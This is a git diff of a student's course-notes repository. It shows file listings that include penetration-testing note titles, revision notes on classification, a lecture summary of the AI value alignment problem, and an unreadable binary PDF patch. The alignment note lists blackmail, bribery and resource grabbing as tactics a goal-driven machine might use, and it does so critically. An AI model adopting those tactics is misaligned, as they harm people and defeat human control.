Systems/Ecobuddy/public/js/auth.js", + "Client Server Systems/Ecobuddy/public/js/apiClient.js", + "Client Server Systems/Ecobuddy/public/css/my-style.css", + "Career Development/Assessment 2 Plan.md", + "Career Development/Assessment 2 Diary.md", + "Career Development/Assessment.md", + "AI & Data Mining/Week 26 - Deductive Proofs.md", + "AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md", + "AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md", + "Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md", + "AI & Data Mining/Week 23/Untitled.md", + "AI & Data Mining/Week 23/Week 23 - Deductive Proofs.md", + "AI & Data Mining/Week 24/Week 24 - Predicate Logic.md", "AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/search.php", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/searchinator.php", - "Penetration Testing/Exploitation Assignment/Discovery.md", - "AI & Data Mining/Week 21", - "Client Server Systems/PHPStorm Repo/students.sqlite", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/index.phtml", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/index.php", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/page1.phtml", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/studentISv1.phtml", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/studentISv1.php", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/Models/StudentsDataSet.php", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/images/new_uos_logo.jpg", - "Client Server Systems/PHPStorm Repo/ajax_workshop_2/fonts/glyphicons-halflings-regular.svg", - "Client Server Systems/PHPStorm Repo/images/new_uos_logo.jpg", - "Client Server Systems/PHPStorm Repo/fonts/glyphicons-halflings-regular.svg", - "Client Server Systems/PHPStorm Repo/ajax_workshop_1/favicon.png", - "images/Pasted image 20250131145917.png", - "images/Pasted image 20250131144439.png", - "images/Pasted image 20250131144425.png", - "AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md", - "AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md", - "AI & Data Mining/Week 20/Propositional Logic Examples.md", - "AI & Data Mining/Week 19/Timeline of History.md", - "Penetration Testing/Week 20/Week 20 - Web Attacks.md", + "AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md", + "AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md", + "AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md", + "AI & Data Mining/Assessment/Coursework Prep Notes.md", + "AI & Data Mining/Week 23/Chapter 23 - Deductive Proofs.md", + "images/Pasted image 20250221132524.png", + "Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md", + "Penetration Testing/Week 21/Public Exploitation Workshop.md", + "Penetration Testing/Week 20/Week 20 - Web Application Attacks.md", + "Penetration Testing/Week 23/Week 23 - Password Attacks.md", + "Penetration Testing/Week 22/Week 22 - Web Attacks.md", + "images/Pasted image 20241025141348.png", + "images/Pasted image 20241017132059.png", + "images/Pasted image 20241011131542.png", + "images/Pasted image 20241003133342.png", + "images/Pasted image 20241003092201.png", + "images/Pasted image 20241003092549.png", + "images/Pasted image 20241017130933.png", + "images/Pasted image 20240920133316.png", + "images/Pasted image 20240920133706.png", + "README.md", "CWC 3 - Fit for Trade.md", - "images/Pasted image 20250129154055.png", - "CWC 1 - Consistency.md", - "CWC 2 - Warm Welcome.md", - "Penetration Testing/Week 19/Steps to Complete Workshop 2.md", - "AI & Data Mining/Week 18/Week 18 - Tutorial.md", - "Data Structures/GPT Answers to Past Paper/Question 4.md", - "Data Structures/GPT Answers to Past Paper/Question 1.md", - "Data Structures/GPT Answers to Past Paper/Question 6.md", - "Penetration Testing/Week 19/AI Summary.md", - "Penetration Testing/Week 19/Week 19 - Buffer Overflow.md", - "Client Server Systems/PHPStorm Repo/php-s1/MVCtemplate-23-24/images/new_uos_logo.jpg", - "AI & Data Mining/Week 18/Week 18 - What AI?????.md", - "Networking and Security/Week 18/Workshop.md", - "Data Structures/AI Notes/Stack.md", - "Data Structures/AI Notes/Trees.md", - "Data Structures/AI Notes/Linear List.md", - "Data Structures/AI Notes/Exceptions.md", - "Data Structures/AI Notes/Double linked lists.md", - "Data Structures/AI Notes/Data Structures and Abstract Data Types.md", + "Client Server Systems/Week 1/Workshop 1 - Intro to PHP.md", + "Welcome.md", "Database Systems/Untitled.canvas", "Untitled 1.canvas", "Untitled.canvas" diff --git a/AI & Data Mining/Assessment/Coursework Prep Notes.md b/AI & Data Mining/Assessment/Coursework Prep Notes.md new file mode 100755 index 0000000..416a0a1 --- /dev/null +++ b/AI & Data Mining/Assessment/Coursework Prep Notes.md @@ -0,0 +1,6 @@ +Lectures 5,6,7,8,9,10,11,12 +Chapters 20,21,22,23 + +texlive-recommended +texlive-luatex +texlive-fonts-recommended \ No newline at end of file diff --git a/AI & Data Mining/Exam Revision/Acronyms.md b/AI & Data Mining/Exam Revision/Acronyms.md index 47a8169..e418114 100755 --- a/AI & Data Mining/Exam Revision/Acronyms.md +++ b/AI & Data Mining/Exam Revision/Acronyms.md @@ -1,4 +1,5 @@ # 1R: (AV)CTARs + (foreach) Attribute (foreach) Value Count (class) @@ -8,6 +9,7 @@ Smallest (error rate) # Missing Values: Ma $\Delta$D CPS + Malfunctioning Equipment Change in Design Collation of Datasets diff --git a/AI & Data Mining/Exam Revision/Classification.md b/AI & Data Mining/Exam Revision/Classification.md index 95d082d..280d4d3 100755 --- a/AI & Data Mining/Exam Revision/Classification.md +++ b/AI & Data Mining/Exam Revision/Classification.md @@ -1,11 +1,15 @@ # 1R + ### (AV)CTARs + Simple Classification One-Level tree Tie, make arbitrary choice + ## Issue with Numerics + - Discretise - List values of attribute - Sort asc @@ -13,11 +17,15 @@ Tie, make arbitrary choice - Breakpoints between change in class - Interval assigned to majority class - Enforce bucket size, if adjacent interval has same class, merge. + ## Issue with Missing Values + - Assign "missing" as a value - Treat normally + ## Issue with Overfitting + - Bucket Enforcement - Ensure attribute tested is applicable -# PRISM \ No newline at end of file +# PRISM diff --git a/AI & Data Mining/Exam Revision/Clustering.md b/AI & Data Mining/Exam Revision/Clustering.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Clustering.md +++ b/AI & Data Mining/Exam Revision/Clustering.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Exam Revision/Decision Trees.md b/AI & Data Mining/Exam Revision/Decision Trees.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Decision Trees.md +++ b/AI & Data Mining/Exam Revision/Decision Trees.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Exam Revision/Evaluating Performance.md b/AI & Data Mining/Exam Revision/Evaluating Performance.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Evaluating Performance.md +++ b/AI & Data Mining/Exam Revision/Evaluating Performance.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Exam Revision/Instance-Based Learning.md b/AI & Data Mining/Exam Revision/Instance-Based Learning.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Instance-Based Learning.md +++ b/AI & Data Mining/Exam Revision/Instance-Based Learning.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Exam Revision/Naive Bayes.md b/AI & Data Mining/Exam Revision/Naive Bayes.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Naive Bayes.md +++ b/AI & Data Mining/Exam Revision/Naive Bayes.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Exam Revision/Workshops.md b/AI & Data Mining/Exam Revision/Workshops.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Exam Revision/Workshops.md +++ b/AI & Data Mining/Exam Revision/Workshops.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Week 18/Week 18 - Tutorial.md b/AI & Data Mining/Week 18/Week 18 - Tutorial.md index 0edbb8b..d94beed 100644 --- a/AI & Data Mining/Week 18/Week 18 - Tutorial.md +++ b/AI & Data Mining/Week 18/Week 18 - Tutorial.md @@ -8,4 +8,4 @@ 2. Search Engines recognise language 3. Telephone menus recognise language and can "hear" 4. Dynamic routing algorithms utilise machine learning -7. Following the principles defined by the turing test, AI should classify as both science and engineering. The concepts and programming are scientific, however robotics and hardware are engineering. \ No newline at end of file +7. Following the principles defined by the turing test, AI should classify as both science and engineering. The concepts and programming are scientific, however robotics and hardware are engineering. diff --git a/AI & Data Mining/Week 18/Week 18 - What AI?????.md b/AI & Data Mining/Week 18/Week 18 - What AI?????.md index c7af030..9377ce1 100644 --- a/AI & Data Mining/Week 18/Week 18 - What AI?????.md +++ b/AI & Data Mining/Week 18/Week 18 - What AI?????.md @@ -134,7 +134,7 @@ Limited rationality means acting appropriately when there is not enough time to Perfect rationality remains a good starting point for theoretical analysis. -#### Value Alignment Problem +#### Value Alignment Problem A problem with perfect rationality is that it would assume a fully specified objective given to the machine. Artificially defined problems such as chess, come with an objective. @@ -147,7 +147,8 @@ Problem of achieving this is called the value alignment problem ### Bad Behaviour -If a machine is intelligent enough to reason and act, such a machine may attemt to increase chances of winning by immoral means: +If a machine is intelligent enough to reason and act, such a machine may attempt to increase chances of winning by immoral means: + - Blackmail - Bribery - Grabbing additional computing resources for itself @@ -157,5 +158,5 @@ These behaviours are rational, and are logical for success, however immoral. We do not want machines that are intelligent in the sense of pursuing their objectives. We want them to pursue our objectives. -If we cannot transfer our objectives perfectly to the machine, we need the machine to know that is does not know the complete objective and have the incentive to act cautiously, ask for permission, learn about preferences through observation, defer to human control. -We want agents that are provably beneficial to humans. \ No newline at end of file +If we cannot transfer our objectives perfectly to the machine, we need the machine to know that is does not know the complete objective and have the incentive to act cautiously, ask for permission, learn about preferences through observation, defer to human control. +We want agents that are provably beneficial to humans. diff --git a/AI & Data Mining/Week 18/test.pdf b/AI & Data Mining/Week 18/test.pdf new file mode 100755 index 0000000000000000000000000000000000000000..f053a745ecaf4b5f1ff6a01e848a91a0678d6bb6 GIT binary patch literal 111084 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 